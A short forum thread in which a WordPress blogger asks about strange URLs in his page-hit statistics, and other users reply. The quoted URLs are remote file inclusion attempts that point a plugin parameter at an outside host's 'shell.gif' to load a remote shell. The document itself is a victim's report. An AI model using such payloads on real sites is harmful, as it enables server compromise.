Strange URL's showing in my 'Top Page Hits'

For a few days I have been seeing these URL's in my wordpress blogs 'Top Page Hits' (BAstats plugin)

http://www.domain.com/2006/08/12/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif?

http://www.domain.com/2006/08/12/Beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif?

http://www.domain.com/2006/08/12/wordpress-plugin-adsense-beautifier/Beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif?

http://www.domain.com/2006/08/12/wordpress-plugin-adsense-beautifier/Core.php?BEAUT_PATH=http://tinypath.com/sdy/test/shell.gif?

it seems

is being added to my URL's.

I have also been getting 100+ hits from them every day. These URL's make no sense to me. Could this be caused by some WordPress Plugin? I doubt The WP Plugin AdSense Beautifier. But I already have that pluign disabled

 

Well, this is not a chat related question so will be hard to find an answere here.

 

Where else should I post? I did not find any other appropriate section

 

there is some server problem....... check your server if it's not solved then pm me..

 

Thank you for replying

 

This is a hacker attempting to exploit scripts on your server. Run netstat -n on your server to determine if he's been successful. I'm working on finding him...